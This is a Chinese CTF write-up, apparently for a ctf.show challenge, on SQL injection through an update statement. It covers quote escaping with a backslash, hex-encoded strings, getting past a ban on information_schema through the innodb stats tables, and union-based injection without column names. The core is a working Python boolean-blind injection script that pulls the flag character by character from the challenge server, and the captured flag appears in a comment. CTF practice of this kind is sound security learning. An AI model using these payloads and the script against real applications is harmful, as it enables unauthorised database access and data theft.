updata_ban-infomation表_无列名注入
updata
过滤了引号,用反斜杠 \ 注释掉password 后面的引号,那么username就能为我们控制
有用字符串的地方可以用 16 进制表示
ban-infomation表
很简单的无列名注入
首先是ban了information表,可以有很多其他表代替,得到数据库中的表名
Bypass information_schema与无列名注入
概述MySQL统计信息
mysql.innodb_table_stats和mysql.innodb_index_stats
这两个表比较好用,可以用自己的mysql试一下
得到了表名,下面就无法得到列名了,其他表没有column的信息
无列名注入
这里我拿这个users表举例
我们只知道表名 users,我们可以使用这样的一个联合查询,可以看到他的列名就会变成数字
我们还需要知道他的列数才行
之后我们要查哪一列信息,就可以用数字
注意:数字要用反引号
意思就是 把后面union查询的结果当一个表 注意要起别名 例如我后面这个 a
反引号不能用时:
布尔注入脚本
import requests
import random
url = 'http://e6ee800c-7aca-4c5d-863b-7694aafc6bfb.challenge.ctf.show:8080/api/index.php'
database = 'database()'
databases = 'select group_concat(schema_name) from information_schema.schemata'
tables = 'select group_concat(table_name) from mysql.innodb_index_stats where database_name=database()'
column = 'select group_concat(column_name) from information_schema.columns where table_name=0x666c616761'
flag="select group_concat(concat(`1`,`2`,`3`)) from (select 1,2,3 union select * from flaga) a "
#ctfshow{b2b18bea-dc4a-4ff5-a0d3-1256b3d4c370}
sql_in = 'sql inject error'
result = "" # 结果
judge = "u6210" # 判断
m=random.randint(1,100000)
for i in range(1, 100):
l = 33
r = 130
mid = (l + r) >> 1
while (l < r):
payload = { #过滤了单引号
'username':"where username=0x7573657231 and ascii(substr(({}),{},1))>{}#".format(flag,i,mid),
'password':str(m)+'\\'
}
html = requests.post(url, data=payload)
#print(html.text,mid)
if sql_in in html.text:
print('error!!')
break
if judge in html.text:
l = mid + 1
m = random.randint(1, 100000)
else:
r = mid
mid = (l + r) >> 1
# if (chr(mid) == " "):
# break
if result[-1] == '!':
break
result = result + chr(mid)
print(result)
print("result: ", result)
当union被过滤了
首先可以通过两列数据的比大小来确定列数
说明有三列数据
然后还是数据比大小来确定数据内容
236
过滤了flag 用 16进制表示 代替,其他同上